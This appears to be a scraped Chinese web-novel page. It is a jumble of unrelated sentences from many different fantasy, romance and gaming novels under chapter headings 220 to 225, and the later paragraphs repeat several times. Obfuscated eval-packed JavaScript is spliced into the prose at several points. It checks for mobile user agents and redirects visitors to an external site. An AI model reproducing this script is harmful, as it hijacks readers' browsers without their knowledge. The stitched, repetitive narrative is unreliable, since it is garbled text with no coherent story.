这顿午餐他们被大统领邀请了依旧坐在这里,但晚上开始,除了贝尔还能坐在这里,其他人要吃饭,都得去下面的五张长桌上,和普通的野猪人战士一起进餐。慕岩就准备在那个时候用胶囊。 “滚!”夏俊才估计自己应该是难逃此劫了,索‘性’直接爆粗口撵人。 她口里说着死。可面上还是微微笑着。人命在她的心中。是否早已如草芥般轻贱。 柳生纯一郎是所有人中唯一一个全程都合上双眼,人世间的一切都不在他的眼里,凄惨甜蜜的爱情、卑鄙无耻的背叛都不足以打动他的心,他一直在闭目养神,等待着。 就见这把刀闪过一道寒光,冲天而起,瞬间追上了刘万沙,赶到了刘万沙的面前,刀锋一转,一刀砍向了刘万沙。 论起来他们阿林村的村长在几个神族村子里已经是非常亲切的了,但是在他们村子里议事的时候也没有在这里这以轻松,让人能完全地把这晨当成是自己的家。运用自己的才智为它作出贡献。 第一卷 第220章 大牛,你擦擦口水! 次日一早,凌川便起床,让苍蝇去街上买了些食材,自己则是在将军府议事大堂前的天井支起一口大铁锅。 秋意正浓,风吹在身上看似不凉,却让昭娘有种冷到骨头里的感觉。 “滚蛋,都给我滚蛋,我不听!”风飞烟这么说着,可是通红的脸上越发羞涩,尤其眼角余光死死的盯着杨柏。 金针透过窗户射进来的阳光下泛着耀眼的光芒,与之前从手镯里拿出的纤细银针完全不一样。 1943年七月十四日下午六点钟,日军派遣军总司令部开始下达命令,板垣征四郎要求日军12军部队全力支援陇海铁路日军战车第八,第九联队,步兵222联队作战,确保这三个联队残部安全。 “龙纹令,过来!”龙纹令可是爷爷杨寒意留下的,陪伴杨柏进入修真的世界,杨柏一直研究不明白龙纹令,刚才龙纹令化为金属龙,吞了纸扇,杨柏想要重新认识一下龙纹令。 纪筱筱现在完全就是一脸茫然!从左希希和苏若离的态度中不难看出,她们一点都不欢迎那个学姐!甚至可以说是讨厌!可她不是若离的姐姐嘛? “二十三年前,你做了什么对不起我的事,你自己心里清楚。”似乎是不想让苏丹雪和病床上的苏老太太听到他们之间接下来的谈话。 苏澜急的面颊发烫,气的双脚使劲往前踢,现在几乎所有的证据都指向她,如果找不到其他突破口,她这个**犯的罪名就背定了。 云陌眼睛一亮,视线在金帝凤乌背上的众人中转了一圈,然后眸光有些暗淡。 “你说这件浴袍是你花五十块买的?!”厉珒气的浑身的汗**都竖起来了,他送苏澜无法用金钱来衡量的‘光之山’宝石。 “你不是看到了吗,说给我听就是了。”说着,他放弃了解纽扣,直接从她的裙底入侵。 莫青檐对宋端午的感情怎么说呢?可以说是既抗拒但又接受的那种。 老刘头玩世不恭的剔着牙说道,只是他这句话刚出了口,就被宋端午一眼给瞪了回去。 叶嘉柔愣住,刚想说他就是硬塞给我的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114790|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话到嘴边又停下,一副委曲求全的做派。 她了解到季青现在的住处暂时还是安全的,便放下心来,告诉季青,只需躲过今夜,她便将他送到一个安全的地方。 而叶楚不同,上辈子叶楚经历过叶家败落、亲人身死,不管什么场合,叶楚都能从容面对。 在趋吉避凶的本能面前,谢茂选择了沉默。他没有再追问衣飞石。 叶嘉柔暗恨叶楚怎么这么没有眼力见,肯定是见不得她好,只能自己主动提出要求。 可是如今,这一切都已经幻灭了,她所剩下的,只有满腔的仇恨。也正是这份仇恨将她支撑到现在,不然换做是常人受到那样的伤,他们早就**。 那可不是真正谅解的意思。太子很清楚,如果谢茂真的理解他,这会儿已经告辞离开了,不会留下来跟他掰扯。接下来,谢茂必然还有个“可是”。 但他们自认为合理的行为,却总会被周边的人给误解,在外人看来,天才是无所不能的,是不需要外人帮助的,而这也是天才们的可悲之处。 第一卷 第221章 我想我娘了! “谁先到50级谁拿吧”。徐一辰说着将戒指扔进背包。众人虽然知道肯定就是徐一辰最先到50级。但也沒有异议。后面肯定危机重重。不仅仅是怪物。还因为玩家。与其放到背包生霉。不如给最有用的人。 秦南、李明雪和‘坦克’第一时间被排除在外,剩下的就是雷尼、马峰和尼莫了。 随即轮回法阵中一道红光浮现,所有的魂魄都争前恐后的进入到了红光之中,而在众多魂魄里,袁帅还发现了两个有些异样的魂魄,似乎它们还有些依依不舍。 茶换了两次后,终于有公公来引,大家这才跟着出去,路上公公说着等下要注意的礼仪等等,而后才把她们一众的引进了御花园的一处水榭前。 “留给你的,得空了,自己慢慢悟,慢慢学吧!”叶嬷嬷说完转身就往外走。 当然。厉害的水中灵兽也可以短时间上岸作战的。只是上岸的话实力会大打折扣。第一时间更新甚至于不足全力的一半。 进了屋,去了床边,谢慎严此刻还睡着,但脸上通红,露出的肩头和脸上都是湿乎乎的汗水,她便立时捉了手里的帕子凑上去,轻轻的为他擦拭。 “袁帅我冷,抱紧我,我好冷。”夏沫蕾浑身哆嗦身体却异常的冰凉。 乍一看,火融嘴角挂着从容淡定的笑意,而**庆方面无表情,只是身上那长袍胸口的位置上多出一道长长的裂口。 “灵元石?这又是什么?”叶枫诧异的问着,他发觉自己对于修炼之道的很多东西都不了解不知道。 罗旋嘿嘿一笑,“哪里哪里。哪能比得上许同志,带领广大的社员兴修水利,所带来的成效那么显著? “林先生。”园长此刻看林枫的眼神已经变了,没想到眼前的男人能让洪震大佬亲自出面,这简直太荒唐了。 她不想和叶新撕破脸皮,因为她没有绝对的把握将叶新的命留在这个地方。如果没有留下,他将与龙骨为敌,与逊为敌。 “出去!”董舒诚立刻转身,手指紧紧拽着画卷,似乎要戳破了。 这个世界的天道比上一个世界的天道要聪明些,一看谢如依身上的气运自己回来了,低头看了看情况,确定没有异常,是自己跑回来的,便没有插手。 他的气息也是不断的攀升当中,一下子就和惑银妖尊实力持平,只是因为身体容纳了强悍的灵魂,动用了超出了 身体实力极限,他的这具妖身也是属于高度饱和当中,皮肤更是因为极致的力量而龟裂。 虽然这些草药都不值这么钱,但日积月累以后需要的时候,就不需要满山的去找了。 但omg中上动手了,第二把之所以没对李枫下手,是因为上把李枫的青钢影太肥,卡牌伤害不够。 指挥者连忙指挥其他深渊鼠怪来挡,但可惜的是,那些深渊鼠怪哪里抵挡得住虺龙血? 而他的直觉告诉他,虽然没有灵石心出现,但是这个池子却比灵石心要更加的贵重,更加的好。 “你没有往外说吧,你们不说哪里会有更多的人知道?”张丽颖没什么好脸色。 真要如此,那她也不会担心叶军浪的安危了,有叶武圣在暗中庇护,以着司徒世家的能耐只怕也不敢明着找叶军浪麻烦。 “墨尘,所有人已经安置妥当,明日便可恢复修炼。”范逊笑着说道,因为只有他们六人,也少了那份严令的族规。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114791|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好,我就借你用一用!”本杰明说完,不再迟疑,立刻将集合旗交给了希格。 “你……”知道被调戏了的林玥顿时羞的头都不敢抬了,而一旁的李青萝也好笑的看着他们。 苍煞晶是一种邪恶的晶石,气运蕴含着一种霸道的煞气,通常只有妖魔鬼怪才会需要,当然,一些邪魔外道的修士也用得着,不过这玩意儿十分罕见。 敖昕妍一听青年如此说,当即脸上浮现出两朵红霞,原本紧紧勒住的双手方才有几分放松。 李毕夏现在倒是跑得很轻松,而且他看到张媛媛紧紧地跟在他的身边,似乎也不吃力,于是随即看了她一眼,当即就看到一眼春光,不由得心里一动。 “卡洛儿去炼金协会了,帮你去看炼金师考核结果。”艾薇拉首先开口说道。 众人感到自己好像做了一场梦,舒舒服服的醒来,什么事都没发生过。 刁元洲压了压之后勉强弄成一个饼状,几乎是其他炊饼的三倍,蒲德明好的劳俊语拍了拍手中残留的蛋壳,也是走了过来帮着做饼。 苏齐见寒绫真没有要的意思,便将东西再次收回了包裹,而且苏齐还直接将无律之戒摘下,换上了南风之烬。 这只黄色的乌龟萎靡不振看起来没有什么生气,很少人有人会看好这种货色,如果是老者自己押注的话断不会压在它身上。 在场的人都看到了,而BOSS也一脸警惕的看着空中,本来想攻击的他,此时却硬生生的停住了脚步。 “这些官员真是该杀,最好是杀光殆尽一个不留”萧无邪眼中闪过一厉色。 他看着生着一张俊秀脸蛋的二皇子,又是看着那边憨厚可掬的大皇子。 第一卷 第222章 拜访刺史大人! 怪物老师就坐在上面冷冰冰的目光盯着苏落眼底是无尽的冷漠。 难怪 “那看到了吧我再帮你连接电脑你要用电脑的时候就可以用终端来看。 怀孕期间黎志对她越来越冷淡严绫决定生了孩子之后就离婚可没想到死在了手术台上。 其实当时他正准备编个谎什么的吴樱直接就说他有他也不好再说什么。 “继续说你还做了什么?”商石逼问他们的目的可不光是这个。 眼前的信息栏也被她调了出来相比上次见面周玉雪的犯罪潜能上升了路于飞的死亡潜能数值也突然升高。 而在水上吹了一夜风的慕皎成功生病了萌暖因为穿了外套且一直被慕皎抱在怀里人没受什么伤就只有几处擦伤稍微涂了药就没事了。 “那就好。”莫筠安慰的拍拍他的后背又继续吃饭而且吃的很是淡定和若无其事。 他们聊的都是专业术语南慕风和简汐都听不懂静静的陪在一边。 锁定了一切的线索最终抓捕了王转在证据面前王转交代了所有。 金牌节目团队就是厉害这节目才开始就已经引起了一波讨论。 “回京城!回到皇上身边!”高蓝微微苦笑着端起酒杯喝了一口。 张亮看了看四周醉倒一片的苗人壮士忍不住打了一声佛号紧接着迈步跟随鬼厉一起走向了祭坛。 过了一会夜阳突然感觉自己的身体在晃动他猝然睁开眼见那皎月容正一手勾着自己的脖子一手从自己腰间插过。 带了消音的**声音不是很大但是还是惊动了睡眠中的鸟儿它们四处飞散。 晚上才到这里就要齐奕带着他去玩长途飞行都不见累的棉花堡本来就是白天看才最好看晚上去也没什么意思。 桌上的斩渊适时的颤动起来奈何经脉梳理过一次以后斩渊便可以使用魔力了但是这个大陆是神修大陆并没有魔力故此解封了也不过是一柄普通的剑比之其他的也不过稍稍锋利了点。 陈晓格的拍摄风格是写实的比起后期经过各种修饰和后期他更喜欢用相机自然的捕捉 到美的画面。 “我怎么觉得你话里有话呢?”奈何捉过飘悠飘悠的斩渊,拿起平日里描眉之物在它剑身上画圈圈。 不禁惊叹,想不到关羽的武艺竟高到如此地步。既然他应付有余,或许可以来个擒贼先擒王。 紫色山河世界对秦明狂轰乱炸无数次,每一次都要将秦明粉碎,可是他却一次次挺了过来,没有法则之力加持,秦明的真力在迅速的消耗,而其肉身在不断的捶打中接近完美,玄纹入体,沟通一种天地大势。 周若兰则没问什么,已经跑到精英怪的尸体旁开始剥皮和采集了。 听完赵成栋的话,郑昱才知道先前他们去给李老爷子敬酒,李一鸣领头说完祝酒寿词,桌上有其他老人起哄,非要多说几句好听的话才行,否则不让敬。 这时,一个脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114792|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上有道长长的深深的疤痕修士走了过来,出现在两人的面前,气氛一下子变得阴冷无比。 “不好意思,让你等那么久。”李婉儿走过来带着歉意说道,犹豫了一下,但还是有些羞怯地挽上了郑昱的胳膊。 其实即使刘微微不说,郭志男也不会做的太过分,毕竟是众目睽睽之下。只是他有些好奇现在怎么没有人认出他是那什么该死的正义的程序猿了,还是说这边的人都不上网吗? 此时才明白,**是其余六星的来往必径要道。而玉衡、天枢则是备用的第二、第三要径。这两条路径一断,战阵的退路也就彻底的切断了。 而这个时候,无论是临尘老道,还是周围其他那些世家子弟,都已经傻了。 这个水字现形后,就迅速向前推进,当与又靠近过来的几只变异大白鼠时碰撞时,也顿时消散于空中,但也对这些大白鼠造成了二次伤害,虽然伤害数值只有几十点,但在视觉效果上,却是非常的赏心悦目。 两人同时一凛,互相对视了一眼,蓦地意识过来什么,脸色一变,双双弃了手中缰绳,在茂密的树林之间,疾步穿梭狂奔。 “弱!太弱了,没想到万年以后的人类竟然柔弱到了这种地步,生存的土地还没有野兽的区域面积大!”若琳毫不客气的说道。 当然,官道附近的人还不知道那些山贼们已经灰飞烟灭了,等到越来越多的商队经过那里再也不受威胁之后才知道那些山贼强盗们早已不知道哪去了。 第一卷 第223章 选下策! 杨恪笑了笑,说道:“眼下饭点也差不多了,将军若是无事,不妨留下来吃了饭再走?” 甄友信最后的理性化为恐惧,无边无际的恐惧,像月光,像海潮。 伏羲于成圣之中盘膝而坐,八卦盘悬浮于自己的面前,盘上还有数个内圈,伏羲不断的波动着,随后只会圣城的攻击,攻击对方不同的阵位。 “确实如此,不过我巫族不修元神,很难入地府行事,请前辈援手。”平心确实希望孙明再帮一把,不然即使她是圣人也忙不过来,地府不是一位圣人可以忙过来的。 只不过这次是黑色的,浑身皮**纯黑不带一点杂色,身形流畅,不像刚才那只一般长得还有几分憨厚,尖锐如狐狸一般的头颅居然有三只眼睛,但给人感觉,却比刚才那一位更加危险。 李天江的话一出,顿时再次激起阵阵惊呼,这次就连真传弟子都羡慕嫉妒了!而几大核心长老和众内门长老也是有些诧异。 但是不管怎么说,这是石凡第一次上门拿的茶,林诗曼还是兴高采烈地把茶泡好,一个紫砂壶放到了茶几上。 仗剑而立,气势凌天,这是何等的潇洒自在,但是,再看云霄的脸庞之时那份潇洒自在的气质却是直接消散。 恐怕她要是知道石凡是九转玄功六转圆满、嫦娥是真仙就不会这样想了。 老王和秦泽等人依次击掌,享受场外观众的叫好声。此时,他们的气势终于完全恢复,重新斗志昂扬。 此事观音他们三个都是大惊,“怎么可能?你怎么会脱离**的?”观音直接问出口了。 “这个你大可放心就是了,无论怎么说他现在的确是阵法大师,而且还是五爪神龙面前的红人,我们俩不会吃饱了撑着没事干去得罪这样的人物的!”叶门主不以为然道。 “五爷,俺拿了这金子,还能留在这山上不?”年纪大些的孙七弟胆怯的问道。 “说你胖你还就真的喘上了,这一次我非要让你亲口求饶不可!”秦梦灵的话激起了徐洪的雄心,只见他再一次把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114793|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦梦灵压在自己的身下,对秦梦灵进行人身攻击道。 在异象刚刚发生时,她差点惊呼起来,但又像是突然想到了什么可怕的事,赶紧捂住了嘴,静待它的结束。 两天后,贺戮追上我们,据说这次又被汉军杀了一万多人。而汉军忽然停滞不前,他们才有机会逃脱。 她的孩子被称为是野种,不正是眼前的人所赐?五年前,眼前的人想要毒杀她的孩子,所以五年后,他就成了野种? “你是男人!”多么理直气壮地理由,多么理直气壮地口气,南宫萧一时傻眼,然后呆呆的捏捏自己的脸,原来男人的用处就是关键时刻挡刀子吗? 救我的好像是如初吧,跟你有什么关系呢?就会坐在一边说一些风凉话的家伙。东篱很是无语,男人·你的脸皮能不能不要这么厚? 至于白烈和**远,一个是武将出身,满是威严,一个性子温和,一派儒生的作派,两人平日做日常的杂务处理,却也刚好软硬兼施,达到最好的配合。 第一卷 第224章 大人,你准备好了吗? 夏家三千金顺理成章一道外出前往靖公主府参加百花诗赏活动。 自满对他来说几乎不可能因为他借助李斩神的记忆看了太多的超级大国乃至神国的少年至尊。 如今新换了工位没法摸鱼更新了只能下班回来写了请彦祖们见谅理解。 等到陈祖义被陈满舱和桑海抬回房中他立即就清醒过来。反倒把抬他回来的两人吓了一跳。 “见鬼!福吉为什么会让人搜查我的房子!”巴蒂只能祈祷那间地下室不会被他们发现。 想到这罗子航不由得悲从中来然后狠狠地瞪了一眼来“帮”自己齐总监。 如果一旦按照他的想法把队伍招满他们总人数将达到362人而且最后再加上护卫队、后勤保障队怎么着都要达到400人。这是一个营级的团队构建。而这也是陈祖义准备以后改制的想法。 只是这究竟更近更远林伯然和老侯爷夫人一时半会儿还不能接近。 然而这句话刚一出口刚刚还喧嚣的咖啡馆突然安静下来接着一声声咖啡杯落下与放下报纸的声音。 他们苏家虽然从一介草民慢慢的成为大将军但是教出来的孩子却都个个成为朝中重臣。 他们会竞相一些东西就像是烧香拜佛一样将他们供起来可是他们却不会有任何的地方返回他们的敬意。 画面转回幽暗森林深处幽暗密林古堡曾经伟大精灵一族的栖息地之一。此时却正上演着一场跨世纪的战斗。 自从铁血名动世界之后已经整整过去了两天这两天整个华夏区都在忙碌不已整个世界都在沸腾原因无他因为华夏区竟然已经有三个玩家所建立的城市! “坏家伙你干嘛不告诉我害的我那么担心…”罗莉又狠狠的拧了他一把。 听鲁思霞这么一说警察局长仔细打量这眼前这个年轻的老师看不出来他竟然和王聪慧有关系而且精通法理说得有理有据警察局长这才感受到鲁思霞绵里藏针的厉害。 “好!”苍渊知道浮尘镜不是他们想像中的一面镜子或许只有通过宁哲才能使用浮尘镜的巨大威力。 当时他们这么对自己说 所有人都明白 过來,这位刚上任不久的厅长,是要进行一次即兴讲话。 于是当他们从伦纳德口中得知,降维打击不仅没能伤得了那个怪物,甚至就连他的飞船都没有受到太大损伤,而那怪物还能带着二维化的宇宙空间去攻击据点的舰队时,一个个都陷入到了绝对沉默之中。 “林天啸,林天啸。”林天啸听见有人喊他的声音,逐渐恢复意识。 “桂花嫂子,怎么了?你怕什么?”见桂花身体一直颤抖,一位大汉担心的道。 “院长,这能行得通吗?要是万一知道我们在利用…”三长老海东坡看着离开的**不禁皱着眉头说道。 林海平白无奇的推出一掌,却暗自将先天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114794|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真气全部灌输在了这条胳膊之上。 “是他,就是他!”而这个时候,贺十三忽然指着来人,惊恐的叫喊起来。 “我要再见到周兵,不是他死,就是我死!”这是清醒后的赵旭说的第一句话。 “在这道园里,你大可不必担心,但是出了道园呢?”震天不缓不慢的说道。 “还不是最终结果。”谢灵秀眼睛笑成一弯月牙,孙不器似笑非笑的笑容让她直打鼓。 “那还用问么,赶紧尥蹶子吧!”马勇说完这句,率先拉着白馨就跑开了。 整个房间金碧辉煌空间硕大,厅内正中摆放实木底大理石面的大圆桌,足以容纳至少二十位主宾客外带家眷孩童。 寄天五剑中,老二史无易孟雄飞是见过、认识并曾亲有接触过的,只是到今天他才知了这位对自己深有影响的“剑仙”的名字。史无易生的倒也不赖,眉清目秀,相貌堂堂,端起势来也很有些白衣剑仙的飘洒味儿。 “轰!轰!”几声炮响,将战场上人的注意力引到了后金阵营的后方。后金队伍受到了攻击,多尔衮立即调整部署,并派人查看是什么情况。 由于终结技发动的时间较长,宁海对黑风老道的控制终于在此刻出现了断档,黑风老道苏醒过来之后,看到已经见底的血量,心里的吃惊自然不用多说。 罗追风说着已露出副花痴相。啧啧赞叹。竟也不顾给孟雄飞指认究竟哪个是哪个的对号入座。 第一卷 第225章 七十二座风雪楼! 所以吃完饭以后,她就蹲在院子里拿着铲子掘土,想要将啃完的果子核给种下去。。 林南弦专门开车过来,景子晏已经被景澈给抱了回去,她坐在驾驶位上,双手把扶在方向盘上面一言不发。 而这个府中的**多都知道,没有他的许可不可以进入内院,而唯一不知道的应该就是昨日刚刚入府的王妃了。 如果蓝祁笙知道看门人是什么样的心思,肯定是非常赞同看门人的想法,他就是看不起这个看门人。 似乎是感觉到了林南弦生气,他主动认错,无奈又带着一丝妥协的语气。 仿佛双足踩踏海水一般的声响渐渐开始从黑暗之中传来,而诛修羽面朝的方向,仿佛有着一尊千万仗之高大的魔兽正在渐渐逼近诛修羽的所在之地。 因为刚才季明轩一直待在这里,害得他不得不时时刻刻的提醒着自己,千万不能工作太认真,否则他或许连自己是**的都不知道了。 辰镇长说着眼神也开始变得阴沉,语气也越发的不善,巴奎二人见状也不由心底一沉,很显然这辰镇长也不是任人随意揉捏之辈。 吴凯跳了大约十几分钟,见时间已经差不多了,就转身向着慢摇吧地大门走去。 宋至现下,像极了一个黑面神,对于洛漓的娇纵且丝毫不拿人命当回事的模样,很是不喜,故而,在沈轻舞的话音落下之后,便毫不客气的对着南陲国主一语双关道。 简单的‘噗’声又一次响起,有时候长毛男还真不愿意使用这个激光武器,尤其是太岁在场的时候,他总是很不以为然地嘀咕一句:“放屁枪”。 岩浆巨人也不管它,只要它不翻滚到岩浆中,就由得翼魔去哭闹,这块巨石是火红荒原内最隐蔽的一块巨石,在这里完全不用担心被其它的恶魔发现。 秦羽如此渡第一道天雷,不但没有消耗体内能量,反而让自己的肌‘肉’力量再加,实力再次提升。别人每度过一道天劫。就要消耗力量,秦羽反而增加力量,这一来一去,便是差距了。 这也说得过去对于卡瑞克斯来说现在最重要的是封神而那些巨龙会中自己的信肥口经严重的阻碍了自己信仰的扩张。现在只是将他们作为一种道具来使用而不是直接处死他们已经算是卡瑞克斯的仁慈了。 “你知不知道我这人生平最讨厌两件事,第一件事就是别人跟我谈条件,第二件事就是 被人一直用枪指着。而你似乎都犯到了我最讨厌的这两件事,你说,该如何是好?”卫风眼中神‘色’一沉,冷冷说道。 “你打算从什么地方出城?”太岁跟王平走到街上,看着街道上已经躺倒的十多具尸体,问道。 林雨暄听到那几名医务人员地话,立刻连饭都不吃就向着医务人员所说的帐篷跑去。 灵识体积增长,强度增强,不久之后,黄玄灵便已感觉到神采奕奕,精力充沛。 黑色的大手此时已经覆盖整个祖地圣,包括先前不敢靠近的圣山此时也被覆盖,仿佛天地都被笼罩,眨眼间就将帝昃和天璇覆盖在了下方,其余种族的人不知**多少! 孟起安慰着自己,转身朝食堂那边跑了过去,他一把推开食堂的门,这里没有开灯,此时已是黄昏时分,里面显得很是幽暗,显然,这里也没有人。 “嘿嘿!我是谁你们没有必要知道!识相的,就将你们得自段家的东西交出,本人可以饶你们一命!否则的话,就休怪本人下手无情了!”黄玄灵故意压低了声音说道,给人一种老气横秋的感觉。 “算了,不怕一万,就怕万一。还是我在最前面吧!”幸好多多出来给古拉解围,要么就真的丢人了。 火月仙子脚踩斑斓大道不知飞越了多少星空,仿佛这天游氏族祖地深处贯穿整个大宇宙,那祖地深处遥不可及仿佛没有边际一般! 因为几位长老的意外打扰,两人间的气氛一下子被破坏的一干二净。 等到路过吴林镇暂歇之时百姓对肖公子的欢迎也是令众人吃惊,几乎全镇而动与道路两旁等候,家家做饭劳军,甄均家大业大出手便是百余肥猪,还要稍待两车美酒,却让肖公子也不免有些腼腆起来。 这老者此刻能做出这样的神通法术,完全是借助了这座荒岛之上阵法的缘故。 脑海中,有一丝疯狂的念头,却又觉得嗤之以鼻,不加以理会,不可能的,应该不可能的,怎么可能呢?安许诺,安许诺……她怎么可能是许诺呢? 剧烈的能量碰撞顿时爆发出轰然震响,周围的一切暮然被这道**力给向远处推开,就连**也不得远远的避开。 火焚天直接一个闪身,便避开了一个刺客的**,不过,另外一名刺客,却击中了火焚天。猛的火焚天的血量直接缩减了三分之一。 叶少的车紧跟在三辆豪车后面,一发现情况后,立即把速度减了下来,当拍得利的三辆豪车横冲到对面的道路上时,他的车正好也开到了卡车边上。 功劳堂坐落在饿鬼山脉,在饿鬼山脉里将再缘除了要换取**外,还要进驻饿鬼山脉,他如今已经是归臻期弟子,已经有资格在饿鬼山脉里进修了。 被人一直用枪指着。而你似乎都犯到了我最讨厌的这两件事,你说,该如何是好?”卫风眼中神‘色’一沉,冷冷说道。 “你打算从什么地方出城?”太岁跟王平走到街上,看着街道上已经躺倒的十多具尸体,问道。 林雨暄听到那几名医务人员地话,立刻连饭都不吃就向着医务人员所说的帐篷跑去。 灵识体积增长,强度增强,不久之后,黄玄灵便已感觉到神采奕奕,精力充沛。 黑色的大手此时已经覆盖整个祖地圣,包括先前不敢靠近的圣山此时也被覆盖,仿佛天地都被笼罩,眨眼间就将帝昃和天璇覆盖在了下方,其余种族的人不知**多少! 孟起安慰着自己,转身朝食堂那边跑了过去,他一把推开食堂的门,这里没有开灯,此时已是黄昏时分,里面显得很是幽暗,显然,这里也没有人。 “嘿嘿!我是谁你们没有必要知道!识相的,就将你们得自段家的东西交出,本人可以饶你们一命!否则的话,就休怪本人下手无情了!”黄玄灵故意压低了声音说道,给人一种老气横秋的感觉。 “算了,不怕一万,就怕万一。还是我在最前面吧!”幸好多多出来给古拉解围,要么就真的丢人了。 火月仙子脚踩斑斓大道不知飞越了多少星空,仿佛这天游氏族祖地深处贯穿整个大宇宙,那祖地深处遥不可及仿佛没有边际一般! 因为几位长老的意外打扰,两人间的气氛一下子被破坏的一干二净。 等到路过吴林镇暂歇之时百姓对肖公子的欢迎也是令众人吃惊,几乎全镇而动与道路两旁等候,家家做饭劳军,甄均家大业大出手便是百余肥猪,还要稍待两车美酒,却让肖公子也不免有些腼腆起来。 这老者此刻能做出这样的神通法术,完全是借助了这座荒岛之上阵法的缘故。 脑海中,有一丝疯狂的念头,却又觉得嗤之以鼻,不加以理会,不可能的,应该不可能的,怎么可能呢?安许诺,安许诺……她怎么可能是许诺呢? 剧烈的能量碰撞顿时爆发出轰然震响,周围的一切暮然被这道**力给向远处推开,就连**也不得远远的避开。 火焚天直接一个闪身,便避开了一个刺客的**,不过,另外一名刺客,却击中了火焚天。猛的火焚天的血量直接缩减了三分之一。 叶少的车紧跟在三辆豪车后面,一发现情况后,立即把速度减了下来,当拍得利的三辆豪车横冲到对面的道路上时,他的车正好也开到了卡车边上。 功劳堂坐落在饿鬼山脉,在饿鬼山脉里将再缘除了要换取**外,还要进驻饿鬼山脉,他如今已经是归臻期弟子,已经有资格在饿鬼山脉里进修了。 被人一直用枪指着。而你似乎都犯到了我最讨厌的这两件事,你说,该如何是好?”卫风眼中神‘色’一沉,冷冷说道。 “你打算从什么地方出城?”太岁跟王平走到街上,看着街道上已经躺倒的十多具尸体,问道。 林雨暄听到那几名医务人员地话,立刻连饭都不吃就向着医务人员所说的帐篷跑去。 灵识体积增长,强度增强,不久之后,黄玄灵便已感觉到神采奕奕,精力充沛。 黑色的大手此时已经覆盖整个祖地圣,包括先前不敢靠近的圣山此时也被覆盖,仿佛天地都被笼罩,眨眼间就将帝昃和天璇覆盖在了下方,其余种族的人不知**多少! 孟起安慰着自己,转身朝食堂那边跑了过去,他一把推开食堂的门,这里没有开灯,此时已是黄昏时分,里面显得很是幽暗,显然,这里也没有人。 “嘿嘿!我是谁你们没有必要知道!识相的,就将你们得自段家的东西交出,本人可以饶你们一命!否则的话,就休怪本人下手无情了!”黄玄灵故意压低了声音说道,给人一种老气横秋的感觉。 “算了,不怕一万,就怕万一。还是我在最前面吧!”幸好多多出来给古拉解围,要么就真的丢人了。 火月仙子脚踩斑斓大道不知飞越了多少星空,仿佛这天游氏族祖地深处贯穿整个大宇宙,那祖地深处遥不可及仿佛没有边际一般! 因为几位长老的意外打扰,两人间的气氛一下子被破坏的一干二净。 等到路过吴林镇暂歇之时百姓对肖公子的欢迎也是令众人吃惊,几乎全镇而动与道路两旁等候,家家做饭劳军,甄均家大业大出手便是百余肥猪,还要稍待两车美酒,却让肖公子也不免有些腼腆起来。 这老者此刻能做出这样的神通法术,完全是借助了这座荒岛之上阵法的缘故。 脑海中,有一丝疯狂的念头,却又觉得嗤之以鼻,不加以理会,不可能的,应该不可能的,怎么可能呢?安许诺,安许诺……她怎么可能是许诺呢? 剧烈的能量碰撞顿时爆发出轰然震响,周围的一切暮然被这道**力给向远处推开,就连**也不得远远的避开。 火焚天直接一个闪身,便避开了一个刺客的**,不过,另外一名刺客,却击中了火焚天。猛的火焚天的血量直接缩减了三分之一。 